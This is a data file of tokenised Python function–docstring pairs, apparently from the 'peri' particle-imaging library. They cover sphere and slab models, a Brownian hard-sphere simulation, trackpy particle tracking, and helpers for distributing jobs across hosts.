{"signature": "def _vps(self, inds):", "body": "return [j for j in inds if j >= <NUM_LIT:0> and j < self.N]<EOL>", "docstring": "Clips a list of inds to be on [0, self.N]", "id": "f5759:c0:m16"}
{"signature": "def param_positions(self):", "body": "return self.param_particle_pos(list(range(self.N)))<EOL>", "docstring": "Return params of all positions", "id": "f5759:c0:m17"}
{"signature": "def param_particle_pos(self, ind):", "body": "<EOL>ind = self._vps(listify(ind))<EOL>return [self._i2p(i, j) for i in ind for j in ['<STR_LIT:z>', '<STR_LIT:y>', '<STR_LIT:x>']]<EOL>", "docstring": "Get position of one or more particles", "id": "f5759:c0:m18"}
{"signature": "def closest_particle(self, x):", "body": "return (((self.pos - x)**<NUM_LIT:2>).sum(axis=-<NUM_LIT:1>)).argmin()<EOL>", "docstring": "Get the index of the particle closest to vector `x`", "id": "f5759:c0:m21"}
{"signature": "def _i2p(self, ind, coord):", "body": "return '<STR_LIT:->'.join([self.param_prefix, str(ind), coord])<EOL>", "docstring": "Translate index info to parameter name", "id": "f5759:c0:m24"}
{"signature": "def get_update_tile(self, params, values):", "body": "doglobal, particles = self._update_type(params)<EOL>if doglobal:<EOL><INDENT>return self.shape.copy()<EOL><DEDENT>values0 = self.get_values(params)<EOL>tiles0 = [self._tile(n) for n in particles]<EOL>self.set_values(params, values)<EOL>tiles1 = [self._tile(n) for n in particles]<EOL>self.set_values(params, values0)<EOL>return Tile.boundingtile(tiles0 + tiles1)<EOL>", "docstring": "Get the amount of support size required for a particular update.", "id": "f5759:c0:m25"}
{"signature": "def update(self, params, values):", "body": "<EOL>global_update, particles = self._update_type(params)<EOL>if global_update:<EOL><INDENT>self.set_values(params, values)<EOL>self.initialize()<EOL>return<EOL><DEDENT>oldargs = self._drawargs()<EOL>for n in particles:<EOL><INDENT>self._draw_particle(self.pos[n], *listify(oldargs[n]), sign=-<NUM_LIT:1>)<EOL><DEDENT>self.set_values(params, values)<EOL>newargs = self._drawargs()<EOL>for n in particles:<EOL><INDENT>self._draw_particle(self.pos[n], *listify(newargs[n]), sign=+<NUM_LIT:1>)<EOL><DEDENT>", "docstring": "Update the particles field given new parameter values", "id": "f5759:c0:m26"}
{"signature": "def __init__(self, pos, rad, shape=None, zscale=<NUM_LIT:1.0>, support_pad=<NUM_LIT:4>,<EOL>method='<STR_LIT>', alpha=None, user_method=None,<EOL>exact_volume=True, volume_error=<NUM_LIT>, max_radius_change=<NUM_LIT>,<EOL>param_prefix='<STR_LIT>', grouping='<STR_LIT>', category='<STR_LIT>',<EOL>float_precision=np.float64):", "body": "if isinstance(rad, (float, int)):<EOL><INDENT>rad = rad*np.ones(pos.shape[<NUM_LIT:0>])<EOL><DEDENT>if rad.size != pos.shape[<NUM_LIT:0>]:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if pos.ndim != <NUM_LIT:2>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>self.rad = rad.astype('<STR_LIT:float>')<EOL>self.zscale = zscale<EOL>self.exact_volume = exact_volume<EOL>self.volume_error = volume_error<EOL>self.max_radius_change = max_radius_change<EOL>self.user_method = user_method<EOL>self.grouping = grouping<EOL>self.set_draw_method(method=method, alpha=alpha, user_method=user_method)<EOL>super(PlatonicSpheresCollection, self).__init__(pos=pos, shape=shape,<EOL>param_prefix=param_prefix, category=category, support_pad=<EOL>support_pad, float_precision=float_precision)<EOL>", "docstring": "A collection of spheres in real-space with positions and radii, drawn\nnot necessarily on a uniform grid (i.e. scale factor associated with\nz-direction).  There are many ways to draw the sphere, currently\nsupported  methods can be one of::\n\n    [\n        'bool', 'lerp', 'logistic', 'triangle', 'constrained-cubic',\n        'exact-gaussian', 'exact-gaussian-trim', 'exact-gaussian-fast',\n        'user-defined'\n    ]\n\nParameters\n----------\npos : ndarray [N,3]\n    Initial positions of the spheres\n\nrad : ndarray [N] or float\n    Initial radii of the spheres\n\nshape : tuple\n    Shape of the field over which to draw the platonic spheres\n\nzscale : float\n    scaling of z-pixels in the platonic image\n\nsupport_pad : int\n    how much to pad the boundary of particles when calculating\n    support so that there is not more contribution\n\nmethod : string\n    The sphere drawing function to use, see above.\n\nalpha : float\n    Parameter supplied to sphere drawing function, set to value to\n    override default value\n\nuser_method : tuple (function, parameters)\n    Provide your own sphere function to the drawing method. First\n    element of tuple is function with call signature `func(dr, a, *args)`\n    where the second element is the `*args` that are not the distance\n    to edge (dr) or particles radius (a). `method` must be set to\n    'user-defined'.\n\nexact_volume : boolean\n    whether to iterate effective particle size until exact volume\n    (within volume_error) is achieved\n\nvolume_error : float\n    relative volume error tolerance in iteration steps\n\nmax_radius_change : float\n    maximum relative radius change allowed during iteration (due to\n    edge particles and other confounding factors)\n\ngrouping : string\n    Either 'particle' or 'parameter' parameter grouping. If 'particle'\n    then grouped by xyza,xyza if 'parameter' then xyz,xyz,a,a\n\nfloat_precision : numpy float datatype\n    One of numpy.float16, numpy.float32, numpy.float64; precision\n    for precomputed arrays. Default is np.float64; make it 16 or 32\n    to save memory.", "id": "f5759:c1:m0"}
{"signature": "def param_radii(self):", "body": "return [self._i2p(i, '<STR_LIT:a>') for i in range(self.N)]<EOL>", "docstring": "Return params of all radii", "id": "f5759:c1:m7"}
{"signature": "def param_particle(self, ind):", "body": "ind = self._vps(listify(ind))<EOL>return [self._i2p(i, j) for i in ind for j in ['<STR_LIT:z>', '<STR_LIT:y>', '<STR_LIT:x>', '<STR_LIT:a>']]<EOL>", "docstring": "Get position and radius of one or more particles", "id": "f5759:c1:m8"}
{"signature": "def param_particle_pos(self, ind):", "body": "ind = self._vps(listify(ind))<EOL>return [self._i2p(i, j) for i in ind for j in ['<STR_LIT:z>', '<STR_LIT:y>', '<STR_LIT:x>']]<EOL>", "docstring": "Get position of one or more particles", "id": "f5759:c1:m9"}
{"signature": "def param_particle_rad(self, ind):", "body": "ind = self._vps(listify(ind))<EOL>return [self._i2p(i, '<STR_LIT:a>') for i in ind]<EOL>", "docstring": "Get radius of one or more particles", "id": "f5759:c1:m10"}
{"signature": "def add_particle(self, pos, rad):", "body": "rad = listify(rad)<EOL>inds = np.arange(self.N, self.N+len(rad))<EOL>self.pos = np.vstack([self.pos, pos])<EOL>self.rad = np.hstack([self.rad, np.zeros(len(rad))])<EOL>self.setup_variables()<EOL>self.trigger_parameter_change()<EOL>params = self.param_particle_rad(inds)<EOL>self.trigger_update(params, rad)<EOL>return inds<EOL>", "docstring": "Add a particle or list of particles given by a list of positions and\nradii, both need to be array-like.\n\nParameters\n----------\npos : array-like [N, 3]\n    Positions of all new particles\n\nrad : array-like [N]\n    Corresponding radii of new particles\n\nReturns\n-------\ninds : N-element numpy.ndarray.\n    Indices of the added particles.", "id": "f5759:c1:m11"}
{"signature": "def remove_particle(self, inds):", "body": "if self.rad.shape[<NUM_LIT:0>] == <NUM_LIT:0>:<EOL><INDENT>return<EOL><DEDENT>inds = listify(inds)<EOL>pos = self.pos[inds].copy()<EOL>rad = self.rad[inds].copy()<EOL>self.trigger_update(self.param_particle_rad(inds), np.zeros(len(inds)))<EOL>self.pos = np.delete(self.pos, inds, axis=<NUM_LIT:0>)<EOL>self.rad = np.delete(self.rad, inds, axis=<NUM_LIT:0>)<EOL>self.setup_variables()<EOL>self.trigger_parameter_change()<EOL>return np.array(pos).reshape(-<NUM_LIT:1>,<NUM_LIT:3>), np.array(rad).reshape(-<NUM_LIT:1>)<EOL>", "docstring": "Remove the particle at index `inds`, may be a list.\nReturns [3,N], [N] element numpy.ndarray of pos, rad.", "id": "f5759:c1:m12"}
{"signature": "def _p2i(self, param):", "body": "g = param.split('<STR_LIT:->')<EOL>if len(g) == <NUM_LIT:1>:<EOL><INDENT>return '<STR_LIT>', None<EOL><DEDENT>if len(g) == <NUM_LIT:3>:<EOL><INDENT>return g[<NUM_LIT:2>], int(g[<NUM_LIT:1>])<EOL><DEDENT>", "docstring": "Parameter to indices, returns (coord, index). Therefore, for a\npos    : ('x', 100)\nrad    : ('a', 100)\nzscale : ('zscale, None)", "id": "f5759:c1:m15"}
{"signature": "def _update_type(self, params):", "body": "dozscale = False<EOL>particles = []<EOL>for p in listify(params):<EOL><INDENT>typ, ind = self._p2i(p)<EOL>particles.append(ind)<EOL>dozscale = dozscale or typ == '<STR_LIT>'<EOL><DEDENT>particles = set(particles)<EOL>return dozscale, particles<EOL>", "docstring": "Returns dozscale and particle list of update", "id": "f5759:c1:m16"}
{"signature": "def _tile(self, n):", "body": "zsc = np.array([<NUM_LIT:1.0>/self.zscale, <NUM_LIT:1>, <NUM_LIT:1>])<EOL>pos, rad = self.pos[n], self.rad[n]<EOL>pos = self._trans(pos)<EOL>return Tile(pos - zsc*rad, pos + zsc*rad).pad(self.support_pad)<EOL>", "docstring": "Get the tile surrounding particle `n`", "id": "f5759:c1:m17"}
{"signature": "def update(self, params, values):", "body": "<EOL>params = listify(params)<EOL>values = listify(values)<EOL>for i, p in enumerate(params):<EOL><INDENT>if (p[-<NUM_LIT:2>:] == '<STR_LIT>') and (values[i] < <NUM_LIT:0>):<EOL><INDENT>values[i] = <NUM_LIT:0.0><EOL><DEDENT><DEDENT>super(PlatonicSpheresCollection, self).update(params, values)<EOL>", "docstring": "Calls an update, but clips radii to be > 0", "id": "f5759:c1:m18"}
{"signature": "def __init__(self, zpos=<NUM_LIT:0>, angles=(<NUM_LIT:0>,<NUM_LIT:0>), param_prefix='<STR_LIT>', shape=None,<EOL>float_precision=np.float64, category='<STR_LIT>'):", "body": "self.lbl_zpos = param_prefix+'<STR_LIT>'<EOL>self.lbl_theta = param_prefix+'<STR_LIT>'<EOL>self.lbl_phi = param_prefix+'<STR_LIT>'<EOL>if float_precision not in (np.float64, np.float32, np.float16):<EOL><INDENT>raise ValueError('<STR_LIT>' +<EOL>'<STR_LIT>')<EOL><DEDENT>self.float_precision = float_precision<EOL>params = [self.lbl_zpos, self.lbl_theta, self.lbl_phi]<EOL>values = [float(i) for i in [zpos, angles[<NUM_LIT:0>], angles[<NUM_LIT:1>]]]<EOL>super(Slab, self).__init__(params, values, ordered=False,<EOL>category=category)<EOL>if shape:<EOL><INDENT>inner = shape.copy()  <EOL>self.set_shape(shape, inner)<EOL><DEDENT>self.set_tile(self.shape)<EOL>if self.shape:<EOL><INDENT>self.initialize()<EOL><DEDENT>", "docstring": "A half plane corresponding to a cover-slip.\n\nParameters\n----------\nshape : tuple\n    field shape over which to calculate\n\nzpos : float\n    position of the center of the slab in pixels\n\nangles : tuple of float (2,), optional\n    Euler-like Angles of rotation of the normal with respect to the\n    z-axis, i.e. ``angles=(0., 0.)`` gives a slab with a normal\n    along z. The first angle theta is the rotation about the x-axis;\n    the second angle phi is the rotation about the y-axis. Default\n    is (0,0).\n\nfloat_precision : numpy float datatype\n    One of numpy.float16, numpy.float32, numpy.float64; precision\n    for precomputed arrays. Default is np.float64; make it 16 or 32\n    to save memory.", "id": "f5759:c2:m0"}
{"signature": "def rmatrix(self):", "body": "t = self.param_dict[self.lbl_theta]<EOL>r0 = np.array([ [np.cos(t),  -np.sin(t), <NUM_LIT:0>],<EOL>[np.sin(t), np.cos(t), <NUM_LIT:0>],<EOL>[<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>]])<EOL>p = self.param_dict[self.lbl_phi]<EOL>r1 = np.array([ [np.cos(p), <NUM_LIT:0>, np.sin(p)],<EOL>[<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:0>],<EOL>[-np.sin(p), <NUM_LIT:0>, np.cos(p)]])<EOL>return np.dot(r1, r0)<EOL>", "docstring": "Generate the composite rotation matrix that rotates the slab normal.\n\nThe rotation is a rotation about the x-axis, followed by a rotation\nabout the z-axis.", "id": "f5759:c2:m1"}
{"signature": "def create_configuration(N, tile, radius=<NUM_LIT>, **kwargs):", "body": "pos, rad, tile = initialize_particles(N, tile, radius=radius, **kwargs)<EOL>sim = BrownianHardSphereSimulation(pos, rad, tile)<EOL>sim.relax(<NUM_LIT:1000>)<EOL>sim.step(<NUM_LIT:1000>)<EOL>sim.relax(<NUM_LIT:1000>)<EOL>return sim.pos, sim.rad, tile<EOL>", "docstring": "Quick configuration creation with `N` particles in a tile of size `tile`.", "id": "f5760:m0"}
{"signature": "def initialize_particles(N=None, tile=None, phi=None, radius=<NUM_LIT>, polydispersity=<NUM_LIT:0.>):", "body": "vparticle = <NUM_LIT>/<NUM_LIT:3>*np.pi*radius**<NUM_LIT:3><EOL>if phi and tile is not None:<EOL><INDENT>vbox = np.prod(tile.shape)<EOL>N = int(phi * vbox / vparticle)<EOL><DEDENT>elif N and phi:<EOL><INDENT>vbox = N * vparticle / phi<EOL>side = vbox**(<NUM_LIT:1.>/<NUM_LIT:3>)<EOL>tile = util.Tile(side)<EOL><DEDENT>elif N and tile is not None:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>raise AttributeError(\"<STR_LIT>\")<EOL><DEDENT>pos = np.random.rand(N, <NUM_LIT:3>)*tile.shape + tile.l<EOL>rad = np.abs(np.random.normal(<EOL>loc=radius, scale=np.abs(polydispersity*radius)+<NUM_LIT>, size=N<EOL>))<EOL>return pos, rad, tile<EOL>", "docstring": "Creates an initial (overlapping) particle configuration by 3 different ways:\n    (N, phi) : creates an appropriate box\n    (N, tile) : uses a box and determines phi\n    (tile, phi): uses both to determine N", "id": "f5760:m1"}
{"signature": "def __init__(self, pos, rad, tile, D=<NUM_LIT>, epsilon=<NUM_LIT>, dt=<NUM_LIT>):", "body": "self.pos = pos<EOL>self.rad = rad<EOL>self.tile = tile<EOL>self.N = self.pos.shape[<NUM_LIT:0>]<EOL>self.dim = self.pos.shape[<NUM_LIT:1>]<EOL>self.forces = <NUM_LIT:0>*self.pos<EOL>self.D = D<EOL>self.dt = dt<EOL>self.epsilon = epsilon<EOL>", "docstring": "Creates a hard sphere brownian dynamics simulation in ND as specified\nby the pos, rad and tile supplied to initializer.\n\nParameters:\n-----------\npos : ndarray [N, dim]\n    Positions of particles in the simulation.\n\nrad : ndarray [N]\n    Radii of particles in the simulation.\n\ntile : `peri.util.Tile`\n    The simulation box defined by a tile with left and right bounds.\n\nD : float\n    diffusion constant in proper units\n\nepsilon : float\n    Force constant for the soft-sphere potential f = \\epsilon (1-d/d_0)^{3/2}.\n    This parameter is really a ratio of epsilon / eta (the damping parameter)\n\ndt : float\n    timestep for the integrator", "id": "f5760:c0:m0"}
{"signature": "def force_noise(self):", "body": "coeff = np.sqrt(<NUM_LIT:2>*self.D)<EOL>return coeff * np.random.randn(*self.pos.shape)<EOL>", "docstring": "Calculate the effective force of the Langevin dynamics", "id": "f5760:c0:m1"}
{"signature": "def boundary_condition(self):", "body": "for i in range(self.dim):<EOL><INDENT>mask = (self.pos[:,i] < self.tile.l[i])<EOL>self.pos[mask,i] = <NUM_LIT:2>*self.tile.l[i]-self.pos[mask,i]<EOL>mask = (self.pos[:,i] > self.tile.r[i])<EOL>self.pos[mask,i] = <NUM_LIT:2>*self.tile.r[i]-self.pos[mask,i]<EOL><DEDENT>", "docstring": "Apply hard reflective boundary conditions to particles", "id": "f5760:c0:m2"}
{"signature": "def integrate(self, forces):", "body": "self.pos += forces*self.dt<EOL>", "docstring": "Integrate the equations of motion. For this simple integrator, we are\nusing the simplest sympletic integrator, NSV where\n\n    v_{n+1} = v_n + f*dt\n    x_{n+1} = x_n + v_{n+1}*dt\n\nParameters:\n-----------\nforces : ndarray[N,2]\n    the forces on each particle", "id": "f5760:c0:m3"}
{"signature": "def step(self, steps=<NUM_LIT:100>, mask=None):", "body": "if mask is None:<EOL><INDENT>mask = np.ones_like(self.rad).astype('<STR_LIT:bool>')<EOL><DEDENT>for step in range(steps):<EOL><INDENT>self.forces = self.force_hardsphere(mask) + self.force_noise()<EOL>self.forces[~mask, :] = <NUM_LIT:0.><EOL>self.integrate(self.forces)<EOL>self.boundary_condition()<EOL><DEDENT>", "docstring": "Perform a set of integration / BC steps and update plot\n\nParameters:\n-----------\nsteps : int\n    number of time steps of size self.dt to perform\n\nmask : boolean ndarray[N]\n    if provided, only simulate the motion of certain particles given\n    by the boolean array mask", "id": "f5760:c0:m4"}
{"signature": "def relax(self, steps=<NUM_LIT:1000>):", "body": "for step in range(steps):<EOL><INDENT>self.forces = self.force_hardsphere()<EOL>self.integrate(self.forces)<EOL>self.boundary_condition()<EOL><DEDENT>", "docstring": "Relax the current configuration using just pair wise forces (no noise)", "id": "f5760:c0:m5"}
{"signature": "def force_hardsphere(self, mask=None):", "body": "N, pos, rad = self.N, self.pos, self.rad<EOL>if mask is None:<EOL><INDENT>mask = np.ones_like(self.rad).astype('<STR_LIT:bool>')<EOL><DEDENT>f = np.zeros_like(pos)<EOL>for i in np.arange(N)[mask]:<EOL><INDENT>rij = pos[i] - pos<EOL>dist = np.sqrt((rij**<NUM_LIT:2>).sum(axis=-<NUM_LIT:1>))<EOL>dia = rad + rad[i]<EOL>mask = (dist > <NUM_LIT>)&(dist < dia)<EOL>dia = dia[mask]<EOL>rij = rij[mask]<EOL>dist = dist[mask][:,None]<EOL>if len(rij) > <NUM_LIT:0>:<EOL><INDENT>forces = self.epsilon*(<NUM_LIT:1>-dist/dia[:,None])**<NUM_LIT:2> * rij/dist<EOL>f[i] += forces.sum(axis=<NUM_LIT:0>)<EOL><DEDENT><DEDENT>return f<EOL>", "docstring": "Calculate 'hard shere' forces between all particles. In this case,\nhard sphere means Hertzian potential\n\n    V(r_{ij}) = \\epsilon (1 - r_{ij} / 2a)^{5/2}", "id": "f5760:c0:m6"}
{"signature": "def neighbors(self, cutoff, indices=None):", "body": "indices = indices if indices is not None else np.arange(self.N)<EOL>indices = util.listify(indices)<EOL>neighs = []<EOL>for i in indices:<EOL><INDENT>rij = self.pos[i] - self.pos<EOL>dist = np.sqrt((rij**<NUM_LIT:2>).sum(axis=-<NUM_LIT:1>))<EOL>neighs.append(np.arange(self.N)[dist <= cutoff])<EOL><DEDENT>return neighs<EOL>", "docstring": "Returns neighbors within a cutoff for certain particles", "id": "f5760:c0:m7"}
{"signature": "def track(pos, rad, maxdisp=<NUM_LIT>, threshold=None):", "body": "threshold = threshold or len(pos)<EOL>z,y,x,a,f = [],[],[],[],[]<EOL>for i,(p,r) in enumerate(zip(pos, rad)):<EOL><INDENT>z.extend(p[:,<NUM_LIT:0>].tolist())<EOL>y.extend(p[:,<NUM_LIT:1>].tolist())<EOL>x.extend(p[:,<NUM_LIT:2>].tolist())<EOL>a.extend(r.tolist())<EOL>f.extend([i]*r.shape[<NUM_LIT:0>])<EOL><DEDENT>df = DataFrame({'<STR_LIT:x>': x, '<STR_LIT:y>': y, '<STR_LIT:z>': z, '<STR_LIT>': a,'<STR_LIT>': f})<EOL>linked = tp.filter_stubs(<EOL>tp.link_df(df, maxdisp, pos_columns=['<STR_LIT:x>','<STR_LIT:y>','<STR_LIT:z>']),<EOL>threshold=threshold<EOL>)<EOL>return linked<EOL>", "docstring": "Tracks a set of positions and radii using trackpy.\n\nAccepts positions and radii as a list of frames in the shape [N, D] where\nN in the number of particles (can vary by frame) and D the number of\ndimensions. Returns a linked pandas.DataFrame from trackpy.link_df that\nis filtered py trackpy.filter_stubs.\n\nParamters\n---------\n    pos : list\n        N-element list of numpy.ndarrays of the particle positions,\n        each of shape [ni, d] where ni is the number of particles in\n        that frame and d the number of positional dimensions.\n    rad : list\n        N-element list of numpy.ndarrays of the particle radii, each\n        of shape [ni]\n    maxdisp : Float, optional\n        The maximum displacement of a particle from frame-to-frame.\n        Default is 2.\n    threshold : Float or None, optional\n        A threshold to filter out trajectories of particles appearing\n        in very few frames. Default is None.\n\nReturns\n-------\n    linked : `pandas.DataFrame`\n        Tracked set of particle positions and radii.\n\nSee Also\n--------\n    `trackpy.locate`\n    `trackpy.filter_stubs`", "id": "f5761:m0"}
{"signature": "def get_xyzr_t(df, particle_ind):", "body": "ind = df['<STR_LIT>'] == particle_ind<EOL>rads = np.array(df['<STR_LIT>'][ind].copy())<EOL>z = np.array(df['<STR_LIT:z>'][ind].copy())<EOL>x = np.array(df['<STR_LIT:x>'][ind].copy())<EOL>y = np.array(df['<STR_LIT:y>'][ind].copy())<EOL>return x,y,z,rads<EOL>", "docstring": "Returns the x,y,z, radii values of a dataframe for a given particle index.\n\nParameters\n----------\n    df : DataFrame\n    particle_ind : Int\nReturns\n-------\n    x, y, z, rads : numpy.ndarray", "id": "f5761:m1"}
{"signature": "def msd(df, maxlag, pxsize=<NUM_LIT>, scantime=<NUM_LIT:0.1>):", "body": "drift = tp.compute_drift(df, pos_columns=['<STR_LIT:x>','<STR_LIT:y>','<STR_LIT:z>'])<EOL>tm = tp.subtract_drift(df, drift)<EOL>em = tp.emsd(tm, pxsize, scantime, max_lagtime=maxlag, pos_columns=['<STR_LIT:x>','<STR_LIT:y>','<STR_LIT:z>'])<EOL>return em<EOL>", "docstring": "Calculates the mean-square displacement of a dataframe using trackpy", "id": "f5761:m2"}
{"signature": "def calculate_state_radii_fluctuations(state_list, inbox=True, fullinbox=True,<EOL>inboxrad=False, maxdisp=<NUM_LIT>, threshold=None, return_all=False):", "body": "pos, rad = [], []<EOL>for s in state_list:<EOL><INDENT>m = analyze.good_particles(s, inbox=inbox, inboxrad=inboxrad,<EOL>fullinbox=fullinbox)<EOL>pos.append(s.obj_get_positions()[m])<EOL>rad.append(s.obj_get_radii()[m])<EOL><DEDENT>df = track(pos, rad, maxdisp=maxdisp, threshold=threshold)<EOL>zyxr_t = []<EOL>for i in np.unique(df['<STR_LIT>']):<EOL><INDENT>x,y,z,r = get_xyzr_t(df, <NUM_LIT:1>*i)<EOL>if z.size > <NUM_LIT:1>:<EOL><INDENT>zyxr_t.append([x.mean(), y.mean(), z.mean(), r.mean(), r.std()])<EOL><DEDENT><DEDENT>z, y, x, rm, rs = np.transpose(zyxr_t)<EOL>if return_all:<EOL><INDENT>return z, y, x, rm, rs<EOL><DEDENT>else:<EOL><INDENT>return rs<EOL><DEDENT>", "docstring": "Calculates the radii fluctuations throughout a series of images.\n\nParameters\n----------\n    state_list : iterable\n        List or any iterator/generator of peri.states objects to analyze.\n\n    inbox : Bool\n        Set to False to include all particles, not just the ones in the\n        image. Default is True (only particles in image).\n    fullinbox : Bool\n        Set to True to only include particles which are\n    inboxrad : Bool\n        Set to True to include all particles which overlap at all with the\n        image. Default False\n\n    maxdisp : Float\n        The maximum displacement a particle can do between frames.\n    threshold : Int\n        Threshold for trackpy.filter_stubs\n\n    return_all : Bool\n        Set to True to return the mean z,y,x,r for all the particles\n        as well as r.std(). Default is False (just returns r.std()\n\nReturns\n-------\n    [z,] : np.ndarray\n        The mean z-positions of each particle. Returned if `return_all`\n        is True.\n    [y,] : np.ndarray\n        The mean y-positions of each particle. Returned if `return_all`\n        is True.\n    [x,] : np.ndarray\n        The mean x-positions of each particle. Returned if `return_all`\n        is True.\n    [rm,] : np.ndarray\n        The mean radii of each particle. Returned if `return_all` is\n        True.\n    rs : np.ndarray\n        The standard deviation of each particle's radius across all\n        states.", "id": "f5761:m3"}
{"signature": "def jsons_to_dataframe(filenames, **kwargs):", "body": "x, y, z, r, t = [[] for a in range(<NUM_LIT:5>)]<EOL>frame = <NUM_LIT:0><EOL>for nm in filenames:<EOL><INDENT>this_pos, this_rad = analyze.parse_json(nm, **kwargs)<EOL>z.extend(this_pos[:,<NUM_LIT:0>])<EOL>y.extend(this_pos[:,<NUM_LIT:1>])<EOL>x.extend(this_pos[:,<NUM_LIT:2>])<EOL>r.extend(this_rad)<EOL>t.extend(np.zeros(this_rad.size) + frame)<EOL>frame += <NUM_LIT:1><EOL><DEDENT>df = DataFrame({'<STR_LIT:x>':x, '<STR_LIT:y>':y, '<STR_LIT:z>':z, '<STR_LIT:a>':r, '<STR_LIT>':t})<EOL>return df<EOL>", "docstring": "Transforms a group of json dictionaries into a single DataFrame.\n\nParameters\n----------\n    filenames : Iterable\n        A list or other iterable/generator of filenames to load, time\n        ordered.\n\nOther Parameters\n----------------\n    inbox : Bool, optional\n        Whether to only return particles inside the image. Requires a\n        key ``'image.tile'`` in the saved json dictionary. Default is\n        True.\n    inboxrad : Bool, optional\n        Whether to only return particles that at least partially\n        overlap the image. Requires a key ``'image.tile'`` in the saved\n        json dictionary. Default is False.\n    fullinbox : Bool, optional\n        Whether to only return particles completely inside the image.\n        Requires a key ``'image.tile'`` in the saved json dictionary.\n        Default is False.\n\nReturns\n-------\n    ``pandas.DataFrame``\n        Trackable ``DataFrame`` of the positions and radii, with keys\n        ``'x'``, ``'y'``, ``'z'``, ``'a'``, and ``'frame'``\n\nSee Also\n--------\n    ``peri.test.analyze.parse_json``", "id": "f5761:m4"}
{"signature": "def get_next_job(start_prefix, end_prefix):", "body": "from peri.test import analyze<EOL>f0 = analyze.sorted_files(start_prefix, return_num=True)<EOL>n0 = [t[-<NUM_LIT:2>] for t in f0]<EOL>f1 = analyze.sorted_files(end_prefix, return_num=True)<EOL>n1 = [t[-<NUM_LIT:2>] for t in f1]<EOL>nums = list(set(n0).difference(set(n1)))<EOL>if len(nums) > <NUM_LIT:0>:<EOL><INDENT>next_num = min(nums)<EOL>next_file = [t[-<NUM_LIT:1>] for t in f0 if t[-<NUM_LIT:2>] == next_num][<NUM_LIT:0>]<EOL>return next_file<EOL><DEDENT>return None<EOL>", "docstring": "Given two globs, figure out the the difference in the file lists to\ndetermine which job to run next", "id": "f5762:m0"}
{"signature": "def watch(func, file_pattern, postfix='<STR_LIT>'):", "body": "import argparse<EOL>parser = argparse.ArgumentParser(description=\"<STR_LIT>\")<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', type=int, help=\"<STR_LIT>\")<EOL>args = vars(parser.parse_args())<EOL>proc = int(args.get('<STR_LIT>') or <NUM_LIT:1>)<EOL>def _watch(func, file_pattern, postfix, index):<EOL><INDENT>sys.stdout = open('<STR_LIT>'.format(index), \"<STR_LIT:w>\", buffering=<NUM_LIT:0>)<EOL>sys.stderr = open('<STR_LIT>'.format(index), \"<STR_LIT:w>\", buffering=<NUM_LIT:0>)<EOL>def mark_done(f, postfix):<EOL><INDENT>return '<STR_LIT>'.format(f, postfix)<EOL><DEDENT>def next_file():<EOL><INDENT>return get_next_job(<EOL>file_pattern,  mark_done(file_pattern, postfix)<EOL>)<EOL><DEDENT>filename = next_file()<EOL>while filename:<EOL><INDENT>open(mark_done(filename, postfix), '<STR_LIT:w>').close()<EOL>func(filename)<EOL>filename = next_file()<EOL><DEDENT><DEDENT>log.info('<STR_LIT>')<EOL>for i in range(proc):<EOL><INDENT>log.info('<STR_LIT:{}>'.format(i))<EOL>Process(target=_watch, args=(func, file_pattern, postfix, i)).start()<EOL><DEDENT>log.info('<STR_LIT:.>')<EOL>", "docstring": "Watch the filesystem for files that match `file_pattern` and run the ones\nthat haven't been completed yet with function `func`", "id": "f5762:m1"}
{"signature": "def launch_watchers(script, hosts, nprocs=<NUM_LIT:1>):", "body": "def launch(script, host):<EOL><INDENT>cmd = '<STR_LIT>'.format(script, nprocs)<EOL>log = '<STR_LIT>'<EOL>sub = '<STR_LIT>'.format(cmd=cmd, log=log)<EOL>ssh = sub if host == LOCALHOST else '<STR_LIT>'.format(name=host, sub=sub)<EOL>check_output(ssh, shell=True)<EOL><DEDENT>procs = {}<EOL>log.info('<STR_LIT>')<EOL>for i, host in enumerate(hosts):<EOL><INDENT>log.info('<STR_LIT>'.format(host))<EOL>procs[i] = Process(target=launch, args=(script, host))<EOL>procs[i].start()<EOL><DEDENT>def signal_handler():<EOL><INDENT>log.info(\"<STR_LIT>\")<EOL>for p in procs.values():<EOL><INDENT>p.join(timeout=<NUM_LIT>)<EOL><DEDENT>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>try:<EOL><INDENT>while True:<EOL><INDENT>for i in procs.keys():<EOL><INDENT>procs[i].join(timeout=<NUM_LIT:1.0>)<EOL><DEDENT><DEDENT><DEDENT>except (KeyboardInterrupt, SystemExit):<EOL><INDENT>signal_handler()<EOL><DEDENT>", "docstring": "Launch the watch script on a bunch of workers which have uniform environment\nand filesystem for example via EC2 or any group of computers sharing home\nfilesystem.\n\nParameters:\n-----------\nscript : string\n    The filename of the script to run\n\nhosts : list of strings\n    Names of the hosts on which to launch the watcher processes\n\nnprocs : integer\n    Number of processes per host to run", "id": "f5762:m2"}
{"signature": "def listen(func):", "body": "import argparse<EOL>import beanstalkc as bean<EOL>parser = argparse.ArgumentParser(description=\"<STR_LIT>\")<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', type=int, help=\"<STR_LIT>\")<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', type=int, help=\"<STR_LIT>\")<EOL>args = vars(parser.parse_args())<EOL>port = int(args.get('<STR_LIT:port>') or DEFAULT_BEANSTALKD)<EOL>proc = int(args.get('<STR_LIT>') or <NUM_LIT:1>)<EOL>def _listen(func, index):<EOL><INDENT>sys.stdout = open('<STR_LIT>'.format(index), \"<STR_LIT:w>\", buffering=<NUM_LIT:0>)<EOL>sys.stderr = open('<STR_LIT>'.format(index), \"<STR_LIT:w>\", buffering=<NUM_LIT:0>)<EOL>bsd = bean.Connection(host=LOCALHOST, port=port)<EOL>while True:<EOL><INDENT>job = bsd.reserve()<EOL>func(json.loads(job.body))<EOL><DEDENT><DEDENT>log.info('<STR_LIT>')<EOL>for i in range(proc):<EOL><INDENT>log.info('<STR_LIT:{}>'.format(i))<EOL>Process(target=_listen, args=(func,i)).start()<EOL><DEDENT>", "docstring": "This function is for use in external scripts in order to listen on the\nqueue and perform tasks. In particular, create a function which takes the\narguments you would pass to `launch_all`s jobs parameter, then at the\nbottom of the script add:\n\nif __name__ == '__main__':\n    peri.test.beanstalk.listen(my_function_name)", "id": "f5762:m3"}
